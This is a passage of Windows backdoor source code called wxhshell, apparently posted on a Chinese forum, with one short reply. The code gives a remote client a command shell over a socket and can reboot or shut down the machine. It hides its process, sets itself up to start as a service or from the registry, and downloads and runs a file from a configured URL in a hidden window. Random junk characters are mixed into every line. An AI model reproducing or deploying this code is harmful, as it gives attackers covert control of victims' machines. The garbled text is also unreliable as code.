  else 0[W:d=C`a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5vnrA'BhBU  
  } QD]6C2j*  
  else { UH"%N)[  
'YSHi\z ](  
    switch(cmd[0]) { z9Rp`z&`E  
  3eQ&F~S  
  // 帮助 YNsJZnGr8#  
  case '?': { p>8D;#Hm L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0{-q#/  
    break; NyNXP_8  
  } ' %o#q6O  
  // 安装 WX3-\Y5E  
  case 'i': { "87:?v[[1  
    if(Install()) =fFP5e ['  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdw(R#GE  
    else =]0&i]z[.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0.#Sl-  
    break; BR;D@R``}  
    } )bscBj@  
  // 卸载 3AN/ H  
  case 'r': { XUuN )i  
    if(Uninstall()) |Ds1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -m~#Bq  
    else PALc;"]O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oe-\ozJ0  
    break; aO4?m+  
    } {;6`_-As%  
  // 显示 wxhshell 所在路径 &6nWzF  
  case 'p': { ~oY^;/ j  
    char svExeFile[MAX_PATH]; \z(gqkc 6  
    strcpy(svExeFile,"\n\r"); ?^\|-Gr  
      strcat(svExeFile,ExeFile); Z"fJ`--  
        send(wsh,svExeFile,strlen(svExeFile),0); .U]-j\  
    break; \LexR.Di  
    } pIqeXY  
  // 重启 c'yxWZEv  
  case 'b': { C1 *v,i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r3UUlR/Do  
    if(Boot(REBOOT)) ln dx"prW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^D0^k!R  
    else { F0@gSurg)  
    closesocket(wsh); &gx%b*;`L0  
    ExitThread(0); Q>i^s@0  
    } ['iPl/v0  
    break; U&p${IcEm  
    } YT(AUS5n  
  // 关机 BLD gt~h#  
  case 'd': { V1M.JU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +@wD qc  
    if(Boot(SHUTDOWN)) *(DV\.l`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vUM4S26"NT  
    else { P+/e2Y  
    closesocket(wsh); zIAD9mQex  
    ExitThread(0); l2Rb\4  
    } y?4BqgB  
    break; A2Gevj?F$  
    } s!$7(Q86R  
  // 获取shell XZd,&YiaG  
  case 's': { 3)ywX&4"L  
    CmdShell(wsh); ^k9I(f^c-_  
    closesocket(wsh); {3aua:q  
    ExitThread(0); -ZLJeY L  
    break; =B@2#W#  
  } {R6ZKB  
  // 退出 $6SW;d+>n  
  case 'x': { 1 ]b.fD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v` 1lxX'*  
    CloseIt(wsh); _I5Y"o  
    break; P/_['7  
    } j&qub_j"xX  
  // 离开 }*]-jWt1J\  
  case 'q': { gRcQt:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g`QEu 5v  
    closesocket(wsh); [d ]9Oa4  
    WSACleanup(); 3h`f  6  
    exit(1); ]~siaiN[  
    break; 9XB8VKu8  
        } {I't]Qj_e  
  } nAdf=D'P  
  } $f7l34Sf3  
(n_/`dP  
  // 提示信息 'TB2:W3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _X x/(.O  
} kE1TP]|  
  } Otn1wBI  
'}Z<h?9  
  return; ' S/gmn  
} fe_5LC"  
3%b6{ie/=  
// shell模块句柄 GnJt0{  
int CmdShell(SOCKET sock) 4BpZJ~(p  
{ 7 HYwLG:\~  
STARTUPINFO si; s!$a \k  
ZeroMemory(&si,sizeof(si)); :Zw2'IV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AH~E)S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R.<g3"Lm>  
PROCESS_INFORMATION ProcessInfo;  rjnrju+  
char cmdline[]="cmd"; e$Pj.>-<=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mQ"-,mMI  
  return 0; pOoEI+t  
} DZtsy!xA  
[ub e6  
// 自身启动模式 a0H+.W+]  
int StartFromService(void) 67FWa   
{ 7;@]t^d=$  
typedef struct & wDs6xq  
{  o-B$J?  
  DWORD ExitStatus; U8$27jq  
  DWORD PebBaseAddress; sc#qwQ#  
  DWORD AffinityMask; (X*^dO  
  DWORD BasePriority; 1T n}  
  ULONG UniqueProcessId; ?(_08O  
  ULONG InheritedFromUniqueProcessId; 'PW5ux@`<  
}   PROCESS_BASIC_INFORMATION; ")p\q:z6  
Z6MO^_m2  
PROCNTQSIP NtQueryInformationProcess; !0<,@v"  
44j*KsBf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SiN0OB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]u/sphPe  
h^P#{W!e\  
  HANDLE             hProcess; ;L ^o*`  
  PROCESS_BASIC_INFORMATION pbi; `r 4fm`<  
}3WxZv]I}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aV0"~5  
  if(NULL == hInst ) return 0; ]\HvKCN}  
/&J T~M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "qy,*{~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +k R4E23:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [AJJSd/:  
&m;*<}X  
  if (!NtQueryInformationProcess) return 0; Bdpy:'fJn  
l,aay-E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V0a3<6@4  
  if(!hProcess) return 0; aw&,S"A@  
k$:|-_(w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C\hM =%  
i SQu#p@  
  CloseHandle(hProcess); B&"Q\'c  
{R{=+2K!|k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Y m2/3!  
if(hProcess==NULL) return 0; XW92gI<O  
w5 Li&m  
HMODULE hMod; @_{=V0  
char procName[255]; Bk{]g=DO  
unsigned long cbNeeded; vtJJ#8a]  
DzRFMYBR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pT6$DB#  
=($xG#g`  
  CloseHandle(hProcess); ,|/f`Pl  
cPQiUU~W@  
if(strstr(procName,"services")) return 1; // 以服务启动 YtLt*Ig%  
ti,d&c_7  
  return 0; // 注册表启动 Q\0'lQJdy  
} E' uZA  
*/S_Icf  
// 主模块 kD"{g#c  
int StartWxhshell(LPSTR lpCmdLine) NvX[zqNP_R  
{ E _|<jy$`  
  SOCKET wsl; )D%~` ,#pQ  
BOOL val=TRUE; @IZnFHN  
  int port=0; :.`2^  
  struct sockaddr_in door; u9p$YJ  
% A0/1{(  
  if(wscfg.ws_autoins) Install(); ql~J8G9  
u_Z+;{]Pj  
port=atoi(lpCmdLine); e&>2 n  
>=w)x,0yX  
if(port<=0) port=wscfg.ws_port; 9+!hg'9Qn  
:[d9tm  
  WSADATA data; ^xk'Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WTiD[u  
KqP#6^ _  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M869MDo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *qpSXmOz  
  door.sin_family = AF_INET; M)(DZ}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4bNV?OH  
  door.sin_port = htons(port);  LFV%&y|L  
 05^h"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b\,+f n  
closesocket(wsl); tX~w{|k  
return 1; /dIzY0<aO  
} dDGQ`+H9  
b7ZSPXV  
  if(listen(wsl,2) == INVALID_SOCKET) { NwfVL4Xg  
closesocket(wsl); sa8Vvzvo.  
return 1; PQE =D0  
} DVeE1Q  
  Wxhshell(wsl); 2B`JGFcdcB  
  WSACleanup(); #lO Mm9  
b\5F]r  
return 0; !bP@n  
{K!)Ss  
} o{[qZc_%  
Wa~=bH  
// 以NT服务方式启动 z0 Z%m@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !d T4  
{ 5~S5F3  
DWORD   status = 0; l Nv|M)I  
  DWORD   specificError = 0xfffffff; tT._VK]o&R  
Ew$C ;&9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NX&_p!_V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dQG=G%W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qcRs$-J  
  serviceStatus.dwWin32ExitCode     = 0; f?)-}\[IR{  
  serviceStatus.dwServiceSpecificExitCode = 0; @E8+C8'  
  serviceStatus.dwCheckPoint       = 0; HE\K@3-  
  serviceStatus.dwWaitHint       = 0; [_:nHZb  
)YI(/*+]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?0Nm{O;3v  
  if (hServiceStatusHandle==0) return; O33 `+UV"W  
&9>vl*  
status = GetLastError(); %]7d`/  
  if (status!=NO_ERROR) 2t1ZIyv3 D  
{ Kf-JcBsrT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7x8  yxE  
    serviceStatus.dwCheckPoint       = 0; |&4/n6;P$0  
    serviceStatus.dwWaitHint       = 0; Y|/ 8up  
    serviceStatus.dwWin32ExitCode     = status; VS|2|n1<6  
    serviceStatus.dwServiceSpecificExitCode = specificError; DIUjn;>k8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o,wUc"CE  
    return; HOJV,9v N  
  } :MDKC /mC  
@KUWxFak  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /<BI46B\  
  serviceStatus.dwCheckPoint       = 0; `QY)!$mUIF  
  serviceStatus.dwWaitHint       = 0; d0 /#nz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z #m+ObHK1  
} (Awm9|.{+  
G]aOHJ:.  
// 处理NT服务事件,比如:启动、停止 t3^&; &[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U`s{Jm  
{ 3=;<$+I6  
switch(fdwControl) R/a*LSe@&  
{ (4-CF3D  
case SERVICE_CONTROL_STOP: t ZB<on<.)  
  serviceStatus.dwWin32ExitCode = 0; ( uidNq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )=-szJjXZ  
  serviceStatus.dwCheckPoint   = 0; q" 5(H5  
  serviceStatus.dwWaitHint     = 0; #)VF3T@#'  
  { a-J.B.A$Z/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yz93'HDB  
  } -D~%|).'  
  return; d<x7{?~.DK  
case SERVICE_CONTROL_PAUSE: AT|3:]3E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v(%*b,^  
  break; -H-~;EzU  
case SERVICE_CONTROL_CONTINUE: r,2g^ K)6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rQ snhv  
  break; S0W||#Pr  
case SERVICE_CONTROL_INTERROGATE: BfiD9ka-z  
  break; ~7Ux@Sx;  
}; ;xn0;V'=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4U1t2@)9  
} [opGZ`>)j"  
Qe(:|q _  
// 标准应用程序主函数 ku M$UYTTX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h!9ei6  
{ _u9Jxw?F@Y  
G  .4X'  
// 获取操作系统版本 ] @fk] ]R  
OsIsNt=GetOsVer(); |(^PS8wG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 11;zNjD|  
-`6+UkOV[x  
  // 从命令行安装 ~flV`wy$$1  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fv`,3aNB  
sW8dPw O  
  // 下载执行文件 "tpSg  
if(wscfg.ws_downexe) { `5Zz5V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T^]}Oy@e,J  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nmh*EAJSy  
} B4 }bVjs  
he hFEyx  
if(!OsIsNt) { jmW7)jT8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 n '6jou  
HideProc(); +X]vl=0  
StartWxhshell(lpCmdLine); a7%]Y}$  
} iO; 7t@]-  
else ,~W|]/b<q  
  if(StartFromService()) FJ?IUy 6  
  // 以服务方式启动 Q#zmf24W  
  StartServiceCtrlDispatcher(DispatchTable); _v]MsT-q  
else \xoP)Ub>  
  // 普通方式启动 u\nh[1)a)  
  StartWxhshell(lpCmdLine); ^pk7"l4Xm  
<p"iY}x[H  
return 0; z*)T %p  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五